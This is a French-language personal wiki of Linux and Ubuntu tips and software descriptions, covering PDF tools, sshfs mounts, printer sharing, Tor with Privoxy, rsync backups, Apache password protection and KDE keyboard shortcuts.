*Noter (voir [[source|http://www.linux.com/article.pl?sid=07/05/07/1728219 ]]) l'existence d'autres programmes dans le style: Stegtools et StegHide (avec ou sans Stegui).
*Il existe, du même auteur, un logiciel nommé stegetect qui permet de vérifier si une image contient un fichier caché. Cependant stegdetect ne fonctionne pas avec Outguess 0.2.
Astuce: ''Connecter un PDA ipaq via le port série''
Mots clef: pda, serial, ipaq
Os: Linux
Liens:[[source| http://www.linuxdevcenter.com/pub/a/linux/2001/06/01/linux_ipaq.html?page=2 ]]
<<<
La commande magique: 
{{{$ /usr/sbin/pppd /dev/ttyS0 115200 192.168.1.100:192.168.1.3 nodetach noauth debug nocrtscts lock user ppp connect '/usr/sbin/chat -v -t3 ogin--ogin: ppp'}}}
Où la première adresse est celle de l'ordinateur hôte et la deuxième celle du pda. 
Remplacer ttyS0 par ttyUSB0 au cas ou un convertisseur serial-to-usb est utilisé. Pour plus d'info, voir le lien.
<<<
''Nom de l'application'': ''@@color(red): Pdfedit @@''
Mots clef: bureautique, édition pdf
Liens: [[source| http://www.szdavid.com/wordpress/2007/03/03/pdfedit-modifiez-vos-fichiers-pdf/ ]]
<<<
''Description: ''Logiciel permettant l'édition de fichiers pdf (ajouter du texte, des pages, ...)

''Installation: ''[[via apt|apt://pdfedit]]
''Nom de l'application'': ''@@color(red): Pdfsam @@''
Mots clef: bureautique, édition pdf
Liens: [[site officiel|http://www.pdfsam.org/ ]]
<<<
''Description: ''Pdfsam (PDF Split and Merge) est un utilitaire java pratique permettant de séparer et de fusionner facilement les pages de fichiers pdf.

''Installation: ''Télécharger le programme java sur le site officiel.

''Notes: ''Voir aussi CombinerFichiersPDF et PDFtk
''Nom de l'application'': ''@@color(red): Pdftk @@''
Mots clef: bureautique, édition pdf
Liens: [[site officiel| http://www.accesspdf.com/pdftk/ ]]
<<<
''Description: ''utilitaire en ligne de commande permettant de manipuler des documents PDF: 
fusionner des documents PDF( voir aussi CombinerFichiersPDF),  produire plusieurs documents à partir d’un seul, crypter et décrypter un document ,modifier les propriétés (mots clefs, commentaires, ...) et les permissions d’un document, manipuler les formulaires et les fichiers attachés, ajouter un filigrane, compresser et décompresser le code PDF (pour l’éditer à la main par exemple), réparer un document endommagé (dans la mesure du possible)

''Installation: ''{{{# aptitude install pdftk}}}

''Utilisation: ''quelques exemples

Combiner 2 (ou plus) pdf en un seul nouveau document
{{{
 $pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
}}}
ou (en utilisant Handles)
{{{
$ pdftk A=1.pdf B=2.pdf cat A B output 12.pdf
}}}
ou (en utilisantWildcards)
{{{
$ pdftk *.pdf cat output combined.pdf
}}}
Combiner plusieurs pages de divers pdf en un seul nouveau document
{{{
$ pdftk A=one.pdf B=two.pdf cat A1-7 B1-5 A8 output combined.pdf
}}}
Chiffrer un pdf en utilisant une clef 128-Bit Strength (défaut) en préservant toutes les permission (défaut)
{{{
$ pdftk mydoc.pdf output mydoc.128.pdf owner_pw foopass
}}}
Même chose que précédemment mais le mot de passe est nécessaire pour ouvrir le document
{{{
$ pdftk mydoc.pdf output mydoc.128.pdf owner_pw foo user_pw baz
}}}
La même chose que précédemment excepté que l'impression est autorisée (après ouverture du fichier)
{{{
$ pdftk mydoc.pdf output mydoc.128.pdf owner_pw foo user_pw baz allow printing
}}}
Déchiffrer un pdf
{{{
$ pdftk secured.pdf input_pw foopass output unsecured.pdf
}}}
Combiner deux fichiers dont un est chiffré (le résultat n'est alors pas chiffré)
{{{
$ pdftk A=secured.pdf mydoc.pdf input_pw A=foopass cat output combined.pdf
}}}
Décompresser le code pdf afin de pouvoir éditer son code dans un éditeur de texte
{{{
$ pdftk mydoc.pdf output mydoc.clear.pdf uncompress
}}}
Réparer un fichier pdf dont la table XREF est corrompue (si possible)
{{{
$ pdftk broken.pdf output fixed.pdf
}}}
dissocier chacune des pages d'un document pdf et rapporter ses données dans un fichier doc_data.txt
{{{
$ pdftk mydoc.pdf burst
}}}
Créer un rapport d'un document pdf contenant ses metadata, signets et "page labels" dans un fichier report.txt
{{{
$ pdftk mydoc.pdf dump_data output report.txt
}}}
<<tagging PRbureautique>>
<<tagging PRdeveloppement>>
<<tagging PRgraphisme>>
<<tagging PRinternet>>
<<tagging PRjeux>>
Pour une liste de jeux sous ubuntu, voir aussi [[ici|http://doc.ubuntu-fr.org/applications/jeux]]
<<tagging PRmultimedia>>
''Liste des Programmes:''

<<slider chkSlider ProgX "Tous">><<slider chkSlider PRsysteme "Système">><<slider chkSlider PRsecurite "Sécurité">><<slider chkSlider PRreseau "Réseau">><<slider chkSlider PRutilitaire "Utilitaires">><<slider chkSlider PRinternet "Internet">><<slider chkSlider PRmultimedia "Multimédia">>
<<slider chkSlider PRgraphisme "Graphisme">><<slider chkSlider PRbureautique "Bureautique">><<slider chkSlider PRdeveloppement "Développement">><<slider chkSlider PRscience "Science">><<slider chkSlider PRjeux "Jeux">><<slider chkSlider PReducation "Education">>
<<tagging PRreseau>>
<<tagging PRscience>>
<<tagging PRsecurite>>
<<tagging PRsysteme>>
<<tagging PRutilitaire>>
<div class='header' macro='gradient vert #aaa #bbb #ccc #ddd #fff #fff #fff'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<span class='searchBar' macro='search'></span>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
Astuce: ''Paquet nécessaire à l'installation d'un scanner usb''
Mots clef: image, scanner
Os: Ubuntu Breezu (plus nécessaire pour dapper et edgy)
<<<
Les paquets suivants doivent être installés:
libusb-0.1-4
libsane-extra
sane-utils
xsane et ses dépendances
hpoj
<<<
Astuce: ''Partage distant de fichier via sshfs ''
Mots clef: ssh, réseau
Os: Linux
Liens: [[site de sshsf|http://fuse.sourceforge.net/sshfs.html]], [[source 2|http://ubuntu-tutorials.com/2007/01/02/mount-remote-directories-securely-with-ssh-ubuntu-6061-610/]]
<<<
''Préliminaire:''
Le principe est de monter un système de fichier distant à travers ssh en espace utilisateur, il est nécessaire d'installer le paquet "ssh file system" ainsi que fuse:
{{{
# aptitude install fuse-utils sshfs
}}}
Avant de pouvoir utiliser sshfs, il est nécessaire de charger le module fuse dans le noyau:
{{{
# modprobe fuse
}}}
Et pour charger fuse automatiquement lors du démarrage:
{{{
# sh -c “echo ‘fuse’ >> /etc/modules
}}}
Ensuite ajouter votre compte aux utilisateurs autorisés de fuse:
{{{
$ sudo useradd votreNomUtilisateur fuse
}}}
''Utilisation:''
*monter le répertoire distant: 
{{{
$ sshfs nomUtilisateurDistant@nomOuIPDeLaMachine:/home/nomUtilisateurDistant/data /home/nomUtilisateurLocal/mnt
}}}
*démonter: 
{{{
$ fusermount -u /home/nomUtilisateurLocal/mnt
}}}
Il est également possible de monter le dossier automatique au démarrage en ajoutant dant ///etc/fstab// une ligne du type:
{{{
[hostname/IP]:/path/to/folder /local/folder fuse defaults 0 0
}}}

''Problème:''
Au cas ou la ligne suivante apparaîtrait:
{{{
fuse: failed to exec fusermount: Permission denied
}}}
Essayez 
{{{$ sudo chmod +x /usr/bin/fusermount}}} 
et si cela ne fonctionne toujours pas 
{{{$ sudo chgrp fuse /dev/fuse}}}

''Note:'' Pour l'utilisation de base de ssh, voir SSHMemento
Astuce: ''Partager le carnet d'adresse thunderbird entre ubuntu et windows ''
Mots clef: thunderbird, partage, windows
Os: Ubuntu
Liens: [[source| http://doc.ubuntu-fr.org/applications/mozilla-thunderbird#partager_egalement_le_carnet_d_adresse ]]
<<<
 La méthode consiste à remplacer le fichier abook.mab de votre profil par un lien symbolique vers le même fichier du profil windows, après avoir effacé au préalable celui du profil linux (vierge mais existant) :
{{{$ rm ~/.mozilla-thunderbird/l7wuchru.Defaut/abook.mab}}}

{{{$ ln -s /mnt/windows/Moncourrier/abook.mab ~/.mozilla-thunderbird/l7wuchru.Defaut/abook.mab}}}

Où :
/mnt/windows est le point de montage de votre partition windows principale
C:\Moncourrier\ est le dossier de votre profil thunderbird sous windows
l7wuchru.Defaut est le dossier de votre profil thunderbird sous linux
<<<
Astuce: ''Partager votre imprimante Linux vers vos machines windows (s'il en reste)''
Mots clef: impression, partage, windows
Os: Ubuntu
Liens: [[source|http://doc.ubuntu-fr.org/utilisateurs/figaro]]
<<<
Supposons ici que votre imprimante est déjà configurée dans votre OS favori
* ''Partie Ubuntu''
Editer le fichier ///etc/cups/cupsd.conf//
rajouter la ligne Allow 192.168.1.xxx (où xxx = ip du pc client) dans la partie <Location /> ), afin d"obtenir quelque chose comme cela:
{{{
#Restrict access to the server... <Location />
Order allow,deny
Allow localhost
Allow 192.168.1.xxx
</Location>
}}}
Si il y a d'autres clients rajouter leurs adresses de la même façon, ou utiliser l'adresse de tout le réseau 192.168.1.*

Dans le même fichier pour ubuntu breezy ou dans ///etc/cups/cups.d/ports.conf// pour dapper, commenter ensuite la ligne Listen localhost:631 et rajouter une ligne contenant Port 631.
{{{
#Listen localhost:631
Port 631
}}}
Relancer le démon CUPS par la commande
{{{
$ sudo /etc/init.d/cupsys restart
}}}

*  ''Partie Windows''
Modifiez le fichier C:\WINDOWS\system32\drivers\etc\hosts sur le PC client sous windows car Windows XP ne reconnaît pas l'adresse IP donc il faut l'associer à un nom d"hôte :
{{{
127.0.0.1 localhost 
192.168.x.yyy nomMachineUbuntu
}}}
(mettre ici à la place de 192.168.x.yyy l'ip de votre machine ubuntu)

Pour windows XP ou windows 2000 ajouter l'imprimante en utilisant la fonction dédiée du panneau de configuration Windows XP, et utilisez l'adresse suivante pour la connexion réseau :
{{{
http://nomMachineUbuntu:631/printers/nomImprimante
}}}
où nomImprimante est le nom de votre imprimante sur le PC serveur.
<<<
Astuce: ''ajouter une partition dans fstab en utilisant uuid ''
Mots clef: système, disques durs
Os: Ubuntu/Linux
<<<
Dans les dernières versions de Ubuntu, les partitions des disques ne sont plus définis sous la forme ///dev/sda4//, par exemple, mais plutôt comme cela: {{{UUID=00A43D0AA43D03A6}}}. Ce système présente l'avantage suivant: en cas de changement de l'environnement matériel ou des partitions, l'installation continue à fonctionner.
Ainsi pour trouver l'uuid d'une partition, par exemple //dev/sda4//:
{{{
# vol_id -u /dev/sda4
}}}
''Nom de l'application'': ''@@color(red): Pdftohtml @@''
Mots clef: conversion, document
<<<
''Description: ''Pdftohtml permet la conversion de fichier .pdf vers le format html.

''Installation: ''{{{# aptitude install pdftohtml}}}

''Utilisation: ''{{{$ pdftohtml monFichier.pdf monFichier.html}}}

''Notes: ''Pour plus d'informations voir la page //man//
''Nom de l'application'': ''@@color(red): Peertv @@''
Mots clef: multimedia, tv, tele, p2p
Liens: [[site officiel| http://www.peertv.fr ]]
<<<
''Description: ''"Peertv est un client pour Webtv, en associant mplayer et peercast il automatise la lecture des nombreuses webtv"

''Installation: ''Depuis la version 0.4, un .deb est disponible sur le [[site officiel| http://www.peertv.fr ]].

''Notes: '' voir aussi ZaTToo
''Nom de l'application'': ''@@color(red): Phatch @@''
Mots clef: redimensionnement, image, lot
Liens: [[site officiel| http://photobatch.stani.be/ ]], [[source|http://www.michtoblog.com/2008/11/08/phatch-ou-comment-traiter-des-photos-en-masse-sous-ubuntu-windows-et-mac/]]
<<<
''Description: ''Phatch est un logiciel multi-platforme simple afin de traiter les images ainsi que les données Exif par lot.

''Installation: ''[[via apt|apt://nomdelappli]]

''Utilisation: ''Il suffit de sélectionner les actions à faire, entre autres:
    * redimensionnement
    * rotation
    * effet miroir
    * retournerment
    * watermark
    * ombres
    * coins arrondis
 
''Notes: ''Voir aussi RedimensionnementJPGPourWEB, RedimensionnerDesImagesParLots et KimKonqueror
''Nom de l'application'': ''@@color(red): Phpsysinfo @@''
Mots clef: Internet, information système
Liens: [[source| http://www.debianadmin.com/display-system-information-uptimecpumemoryscsiidepciethernetfloppyand-video-using-phpsysinfo.html ]]
<<<
''Description: ''Phpsysinfo permet d'afficher un grand nombre d'informations sur votre système en temps réel à partir d'une simple page web.

''Installation: ''{{{# aptitude install phpsysinfo}}}

''Notes: ''Ce programme nécessite un serveur Web (apache2) ayant au moins php4 installé.
''Nom de l'application'': ''@@color(red): Picasa @@''
Mots clef: Image, google
Liens: [[Google Picasa| http://picasa.google.com/linux/ ]]
<<<
''Description: ''logiciel de gestion et de classements de photos.

''Installation: ''télecharger picasa.deb sur le site puis dpkg. 

''Notes:''s'appuie sur Wine. Pour un bon logiciel natif kde voir GwenView ou DigiKam qui propose également le classement chronologique.
<<<
''Nom de l'application'': ''@@color(red): Pidgin @@''
Mots clef: Messagerie, chat
Liens: [[site officiel| http://www.pidgin.im/ ]]
<<<
''Description: ''Pidgin est un client de messagerie instantanée multi-protocole, multiplate-forme  et multilingue permettant de se connecter, entre autres, à Jabber, IRC, ICQ/AIM, Yahoo! Messenger et Windows Live Messenger.

''Installation: ''[[via apt|apt://pidgin]] 

''Notes: ''différents plugins permettent de compléter pidgin, plus d'infos [[ici|http://doc.ubuntu-fr.org/pidgin]]. Par exemple, le [[plugin skype|http://www.getdeb.net/app/skype4pidgin]].
Astuce: ''Permet de contrôler le curseur sans la souris, à l'aide du pavé numérique''
Mots clef: pavé numérique, souris
Os: Ubuntu
Lien: [[source|http://macsim.labolinux.net/index.php/post/2008/11/08/Piloter-la-souris-au-clavier ]]
<<<
Pour activer cette fonction: ''Ctrl+Shift+Num Lock'' (même chose pour désactiver).
Utilisation:
- Les nombres 1 2 3 4 6 7 8 9 permettent de bouger le curseur
- Le 0 et 5 correspondent au clic gauche
- Le + correspond au clic droit.
''Nom de l'application'': ''@@color(red): Pingus @@''
Mots clef: jeu, tux
<<<
''Description: ''Pingus est un clone libre du fameux jeu Lemmings.

''Installation: ''[[via apt|apt://pingus]]
''Nom de l'application'': ''@@color(red): Planner @@''
Mots clef: gestion projets, programmation
<<<
''Description: ''Planner est un logiciel de gestion de projet comportant, entre autre, la gestion des ressources, les diagramme de Gantt et les listes de tâches.

''Installation: ''[[via apt|apt://planner]]

''Notes: ''Voir aussi le programme DotProject
''Nom de l'application'': ''@@color(red): Playonlinux @@''
Mots clef: jeux
Liens: [[site officiel|http://www.playonlinux.com]]
<<<
''Description: ''Playonlinux rassemble un ensemble de scripts permettant d'installer très facilement certains jeux conçus pour Windows. Playonlinux utilise Wine pour faire fonctionner ces jeux tout en évitant à l'utilisateur de configurer celui-ci, ce qui se révèle parfois fastidieux. Playonlinux facilite également l'installation de certains logiciels. 

''Installation: ''.deb disponible sur le [[site officiel|http://www.playonlinux.com]]

''Utilisation: '' Simplement lancer le progamme.

''Notes: ''Exemples de jeux fonctionnels

Max Payne 2 : The Fall of Max Payne par Take 2 Interactive
Legacy Of Kain : Defiance par Eidos Interactive
Ragnarok Online par Gravity Corp. et Lee Myoungjin
Starcraft par Blizzard Entertainement
Star Wars : Knights Of The Old Republic par Lucas Arts
Fable : The Lost Chapter par Microsoft Games
Diablo II par Blizzard Entertainement
Painkiller par Dreamcatcher
Sonic Adventure DX par Sega
Prey par 2K games
Tomb Raider Anniversary 
The Elder Scrolls 4 - Oblivion par 2K Games
Command And Conquer " - Tiberium Wars par Electronic Arts
Crayon Physics par Kloonigames
Oddworld: Abe's Exodus par GT Interactive Software
Rally Championship 2000 par Ubisoft
The Elder Scrolls 3 : Morrowind par Bethesda Softworks
Astuce: ''Liste de plugins et widgets wordpress utilisés pour le [[blog bartux|http://www.bartux.net/blog]]''
Mots clef: internet, wordpress
<<<
|[[Quotes Collection|http://srinig.com/wordpress/plugins/quotes-collection]]|
|[[Wordpress Audio Player|http://wpaudioplayer.com]]|
|[[creative-commons-license|http://wordpress.org/extend/plugins/creative-commons-license-widget/]]|
|[[duplicate post|http://wordpress.org/extend/plugins/duplicate-post]]|
|[[WP-EMail|http://lesterchan.net/portfolio/programming/php/]]|
|[[WP-Print|http://lesterchan.net/portfolio/programming/php/]]|
Astuce: ''Installer la police de caractère utilisée dans le logo ubuntu''
Mots clef: graphique
Os: Ubuntu
<<<
{{{
$ sudo apt-get install ttf-ubuntu-title
}}}

NB: pour installer une police Truetype en général: InstallerPolicesTrueType
''Nom de l'application'': ''@@color(red): Prism @@''
Mots clef: navigateur Internet, butineur
Liens: [[site officiel|http://starkravingfinkle.org/projects/webrunner/]], [[source|http://www.tux-planet.fr/blog/?2007/11/02/201-installation-et-utilisation-de-prism-sous-linux]]
<<<
''Description: ''Prism est un navigateur Internet basé sur Mozilla 5.0 mais dépourvu de tout accessoire inutile, ce qui le rend ultra-rapide.

''Installation: ''[[via apt|apt://prism]]

#Télecharger l'archive sur le site officiel
#Lancer les commandes suivantes:
{{{
# cd /usr/local/src
# tar jxvf prism-*-linux.tar.bz2
# chown -R root:root prism
# chmod -R 755 prism
}}}

''Utilisation: ''
Pour ouvrir google.com
{{{
$ /usr/local/src/prism/prism -uri http://www.google.com
}}}
''Notes: ''
#Il est possible de créer des raccourcis bureau. 
#Prism est également disponible pour windows et mac.
''Nom de l'application'': ''@@color(red): Printshare @@''
Mots clef: impression, remote
Liens: [[site officiel| http://www.printershare.com/ ]]
<<<
''Description: ''Printshare est un logiciel gratuit mais non-libre permettant d'imprimer via Internet sur une imprimante connectée à un ordinateur distant. Grâce à un login et un mot de passe, on peut définir les accès à l'imprimante. Les données sont transmises de manière chiffrée. Cependant cette version gratuite imposera une page de couverture publicitaire lors de chaque impression.

''Installation: ''Un paquet .deb est disponible sur le site officiel [[ici|http://www.printershare.com/download-linux.sdf]].

''Utilisation: ''Le logiciel doit être installé à la fois sur l'ordinateur sur lequel est connectée l'imprimante et celui depuis lequel l'on veut imprimer. 

''Notes: ''Il est bien sûr possible de faire cela sans Printshare. Pour plus d'information voir, par exemple, [[partage imprimante|http://doc.ubuntu-fr.org/partage_imprimante]] sur [[ubuntu-fr.org|http://www.ubuntu-fr.org/]].
''Nom de l'application'': ''@@color(red): Privoxy/Tor @@''
Mots clef: sécurité, réseau
Liens: [[source| http://doc.ubuntu-fr.org/serveur/privoxy ]]
<<<
''Description: ''Tor ('The Onion Router), est un réseau anonyme et décentralisé permettant de rendre anonyme les connexions Internet (Wikipedia). Le couple privoxy-tor permet donc de masquer son adresse ip lors de l'utilisation de programmes se connectant à Internet.

''Installation: ''
Première étape obligée: {{{$ sudo apt-get install privoxy tor}}}
Ensuite édition du fichier de configuration ///etc/privoxy/config// (pour un ordinateur directement connecté à Internet, voir la [[source| http://doc.ubuntu-fr.org/serveur/privoxy ]])
Commenter les trois lignes suivantes:
{{{
debug   1    # show each GET/POST/CONNECT request
}}}
et
{{{
logfile logfile
}}}
et
{{{
jarfile jarfile
}}}
puis rajouter (dans la partie forward-socks):
{{{
forward-socks4a / localhost:9050 .
}}}
Ensuite redémarrer le tout avec:
{{{
# /etc/init.d/tor restart
# /etc/init.d/privoxy restart
}}}

''Utilisation: ''Il est à noté que l'utilisation d'un proxy a souvent pour conséquence la ralentissement de la connexion. Avec firefox, l'emploi de l'extension [[switch proxy|https://addons.mozilla.org/firefox/125/]] permet de choisir rapidement l'utilisation de Tor ou non. Pour configurer Tor comme proxy, configurer firefox, grâce à switchproxy, de la manière suivante:
{{{
HTTP Proxy: localhost
Port: 8118
No Proxy for: localhost, 127.0.0.1, 10.0.0.123,10.0.0.138
}}}
<<<
<<tagging ProgX>>
Astuce: ''Programmer l'arrêt de sa machine''
Mots clef: utilitaire
Os: Linux
Liens: [[source| http://forum.ubuntu-fr.org/viewtopic.php?id=54855 ]]
<<<
* Arrêt à une heure précise
{{{
$ sudo shutdown -h hh:mm
}}}
* Arrêt dans 75 Minutes
{{{
$ sudo shutdown -h +75
}}}
* Créer un raccourcis graphique kde
Clic droit sur le menu K > éditeur de menu > Fichier > Nouvel élément
Choisisser le nom que vous voulez et l'icône que vous voulez et puis comme commande:
{{{
kdesu "shutdown -h $(kdialog --inputbox "Quand l'ordinateur devra-t-il s'arrêter ?" "$(date  +%H:%M )")"
}}}
''Notes: ''Voir aussi KShutDown
Astuce: ''Restreindre certains accès sur un serveur web Apache''
Mots clef: Internet, apache
Os: tous
<<<
Initialiser à la racine de votre site:
{{{
$ htpasswd -c .htpasswd mon_login
}}}
Pour ajouter des utilisateurs:
{{{
$ htpasswd .htpasswd votre_ami
}}}
Créer le répertoire //.htaccess// dans le répertoire à protéger.
Pour empêcher l'accès au répertoire sans mot de passe y ajouter:
{{{
AuthName message
AuthUserFile /RACINE/DU/SITE/.htpasswd
AuthGroupFile /dev/null
AuthType Basic
 

<limit GET POST>
require valid-user
</Limit>
}}}
Pour empêcher de lister le répertoire en l'absence de fichier index.html:
{{{
<limit GET POST>
Options -Indexes
</Limit>
}}}
''Nom de l'application'': ''@@color(red): Public Fox @@''
Mots clef: Extension Firefox
Liens: [[Extension Firefox|https://addons.mozilla.org/firefox/3911/ ]]
<<<
''Description: ''Cette extension Firefox permet de protéger par un mot de passe l'accès à certaine fonctionnalités du butineur. Très utile avec un ordinateur partagé. Plus orienté vers la protection des enfants, voir l'extension [[Gubble|http://www.glubble.com/]].

''Installation: ''via le site de l'extension.
''Nom de l'application'': ''@@color(red): Puddletag @@''
Mots clef: tags, mp3
Liens: [[site officiel| http://puddletag.sourceforge.net/ ]]
<<<
''Description: ''Puddletag est un logiciel avancé d'étition des tags (metadata) des fichiers audios. Il permet autant, voir plus, d'options que EasyTag mais paraît moins convivial à prime abort

''Installation: ''Paquet .deb disponible sur le site officiel.

''Notes: ''Voir aussi EasyTag. Pour un logiciel en ligne de commande, voir Id3Ed et TagMP3MiseAJour.
''Nom de l'application'': ''@@color(red): Pyrenamer @@''
Mots clef: renommer, rename, fichiers
Liens: [[site officiel|lhttp://www.infinicode.org/code/pyrenamer/ ]]
<<<
''Description: ''Logiciel permettant de renommer une série de fichier.

''Installation: ''[[via apt|apt://pyrenamer]]

''Notes: '' Voir aussi MetaMorphose qui est multiplateforme, RenommerPlusieursFichiers (en ligne de commande) et KRename pour KDE.
''Nom de l'application'': ''@@color(red): Pytris @@''
Mots clef: jeux, tetris
<<<
''Description: ''Jeux de tetris en réseau et en console 

''Installation: ''{{{# aptitude install pytris}}}
''Nom de l'application'': ''@@color(red): Qalculate @@''
Mots clef: science, mathématique, calcul
<<<
''Description: ''Un programme de math sous forme de calculatrice permettant de faire du calcul symbolique.

''Installation: ''pour Kubuntu {{{# aptitude install qalculate-kde}}}
''Nom de l'application'': ''@@color(red): Qtcurev @@''
Mots clef: KDE, Gnome, apparence 
Liens: [[site officiel| http://www.kde-look.org/content/show.php?content=40920 ]]
<<<
''Description: ''Faire un sorte que les applications QT et GTK aient le même style (c'est à dire que les apps prévues pour Gnome aient tout de même un petit look kde)

''Installation: ''Télecharger le .deb sur le site officiel et l'installer.

''Note: ''Ensuite, dans kcontrol, dans "Apparence et thèmes/Style" et dans le menu déroulant "Style des éléments graphiques" mettre "Qtcurve". 
''Nom de l'application'': ''@@color(red): Qtpfsgui @@''
Mots clef: photographie, hdr, luminosité, traitement d'images
Liens: [[site officiel| http://qtpfsgui.sourceforge.net ]]
<<<
''Description: ''Qtpfsguiest est une interface graphique permettant de créer des images hdr, c'est à dire des images à partir de plusieurs prises de vue identique mais de d'exposition différente. De même, ce programme permet, à partir d'une image hdr, d'obtenir des images en format jpeg ou png. Il s'agit en fait d'un clone opensource  du programme Photomatix.

''Installation: ''Pour l'instant seulement par compilation des sources ou grace au dépot [[dépomaniak|http://ubuntu.davromaniak.eu/]]

''Notes: ''Voir le site officiel pour l'utilisation (tuto)
''Nom de l'application'': ''@@color(red): Rsync @@''
Mots clef: réseau, synchronisation, sauvegarde
Liens: [[Site officiel|http://samba.org/rsync/ ]], [[source 2|http://www.soupaloignon.net/cmsmadesimple/index.php?page=sauvegarde-avec-rsync]]
<<<
''Description: ''Logiciel de synchronisation de fichiers en ligne de commandes

''Installation: ''[[via apt|apt://rsync]]

''Utilisation: ''
*Pour une utilisation simple de miroir (idéal pour sauvegarder sur une partition en fat32):
{{{
$ rsync -vurt --progress --delete /source /destination
}}}
Explication des options (voir pages man):
-v: verbose - this flag makes rsync tell you what files it's moving and gives a summary at the end
-u: update - this forces rsync to skip any files for which the destination file already exists and has a date later than the source file
-r: recursive - rsync will mirror the directories you specified and all the directories inside them.
-t: times - rsync will copy al the timestamps of the source files, so that the files on the external drive are exact replicas.
-progress: rsync will tell you how many files need to be copied before it's finished. this is useful if you want to see what's going on.
-delete: this tells rsync to delete any files on the receiving side that aren't on the sending side.

*Pour une utilisation plus fine (avec une partition ext3 par exemple):
{{{
$ rsync -rltgoDv --del --ignore-errors --force /source /destination
}}}
Explication des options (voir pages man):
-r     parcours le dossier indiqué et tous ses sous-dossiers
-l     copie les liens symboliques comme liens symboliques
-t    préserve les dates
-g    préserve le groupe
-o    mettre le propriétaire du fichier de destination identique à celui du fichier source
-D    préserve les périphériques
-v    plus loquace
del     permet de supprimer les fichiers sur "destination" qui n'existent plus sur "source"
ignore-errors             efface même s'il y a eu des erreurs E/S
force                     force la suppression de répertoires même non-vides

Un tutoriel pour la sauvegarde du répertoire home [[ici|http://doc.ubuntu-fr.org/tutoriel/sauvegarder_home_avec_rsync]].

*Pour une utilisation avec ssh ([[source|http://snippets.prendreuncafe.com/snippet/7]])
Pour synchroniser un répertoire d'une machine A vers une machine B en passant par SSH (avec preservation des droits) :
{{{
$ rsync -avz -e ssh someuser@server1.example.com:/var/www/ /var/www/
}}}
Utile également pour migrer une machine vers une autre.

''Note:'' 
Pour une version chiffrée, voir DupliCity
Pour une interface graphique de rsync, voir grsync!
Bien que ne permettant pas une synchronisation multi-sources (voir plutôt UnisonGtk ou FullSync), Rsync est un excellent logiciel de synchronisation, très bien adapté à une utilisation par scripts. Voir, par exemple, ScriptSauvegardeIncrementaleFirefox.
<<<
Astuce: ''Créer facilement des raccourcis clavier avec kde''
Mots clef: système, utilitaire
Os:linux
<<<
KDE permet de créer facilement des raccourcis clavier, cela afin d'accéder à une application, d'utiliser les touches multimédia de votre clavier hyper-trend-bla-bla ou même de commander une application audio (typiquement xmms) à l'aide du clavier.
Voilà donc quelques exemples d'utilisation (ici en anglais, mais la traduction est aisée je pense):
*''Créer un simple lien vers une application:''
#Ouvrir kcontrol et aller dans //Regional & Accessibility// puis //Input Actions//
#Choisir //New Action//
#Donner un nom à l'action puis choisir //Action type: Keyboard Shortcut -> Command/URL (simple)//
#Dans //Keyboard Shortcut//, choisir le raccourcis désiré
#Dans //Command/URL Settings// entrer la commande à excécuter

* ''Utiliser les touches multimédia en raccourcis:''
Tout d'abord activer les touches multimédia grâce à ActivationDesTouchesMultimédia
Nous allons maintenant définir une action (ici augmenter ou diminuer le volume grâce à kmix
#Ouvrir kcontrol et aller dans //Regional & Accessibility// puis //Input Actions//
#Choisir //New Action//
#Donner un nom à l'action puis choisir //Action type: Keyboard Shortcut -> DCOP Call (simple)//
#Dans //Keyboard Shortcut//, choisir le raccourcis désiré
#Dans //DCOP Call Settings// choisir:
##//Remote application: kmix//
##//Remote object: Mixer0//
##//Called function: decreaseVolume// ou //increaseVolume// ou encore //toggleMute//
##//Arguments: 0// 

* ''Contrôler xmms:''
#Ouvrir kcontrol et aller dans //Regional & Accessibility// puis //Input Actions//
#Choisir //New Action//
#Donner un nom à l'action puis choisir //Action type: Keyboard Shortcut -> Keyboard Input (simple)//
#Dans //Keyboard Shortcut//, choisir le raccourcis désiré
#Dans //Keyboard Input Settings// choisir:
## //Keyboard input:// B pour Next, X pour Play, Z pour Previous ou V pour Stop
##//Send Input To: Specific window//
##Dans //Window:// choisir:
###//Comment: XMMS//
###//Window title: Is Not Important//
###//Window class: Contains ~XMMS_Player xmms//
###//Window role: Is Not Important//
###//Autodetect//
###//Window Types Normal//

''Note: ''voir KeyTouch
Astuce: ''Raccourcis clavier pour KDE et Gnome''
Mots clef: système, raccourcis clavier
Os: Linux
Liens: [[source|http://www.novell.com/coolsolutions/tip/2289.html ]]
<<<
''Pour KDE:''

Alt - F2
Execute Command

Ctrl - B
Add Bookmark

Ctrl - Esc
List of running applications.

Ctrl - W
Close

Alt -Tab
Switch forward among windows

Ctrl - C
Copy

Alt - Shift - Tab
Switch backward among windows

Ctrl - End
End

Ctrl - F1 to F12
Switch to Desktop 1 - 12

Ctrl - F
Find

Shift - Ctrl - F1 to F4
Switch to Desktop 13 to 16

F3
Find Next

Ctrl - Alt - Esc
Kill Window (Click on the window to action the kill.)

Ctrl - F3
Find Prev

Ctrl - Alt - Delete
Logout (To complete logout process, Tab & Enter)

F1
Help

F12
Toggle cursor key mouse emulation

Ctrl - Home
Home

Alt - F1
Popup KDE launch menu

Ctrl - Insert
Insert

Ctrl - Tab
Switch forward one desktop

Ctrl - N
New

Ctrl - Shift - Tab
Switch back one desktop

Ctrl - Down
Next Complete Match

Alt - F4
Window close

Down
Next Item in List

Alt - F3
Window open menu

Ctrl - O
Open

Ctrl - V
Paste

"Windows" Menu
Popup Menu Context

Ctrl - Up
Previous Complete Match

Up
Previous Item in list

Ctrl - P
Print

Page Up
Prior

Ctrl - Q
Quit

Ctrl - Shift - Z
Redo

F5
Reload

Ctrl - R
Replace

Ctrl - S
Save

Ctrl - A
Select All

Ctrl - E
Text Completion

Ctrl - Z
Undo

Shift - F1
What's this

Ctrl - Plus (+)
Zoom In

Ctrl - Minus (-)
Zoom Out

''Pour Gnome:''

Alt + F1
Opens the Applicantions Menu .

Alt + F2
Displays the Run Application dialog.

Print Screen
Takes a screenshot.

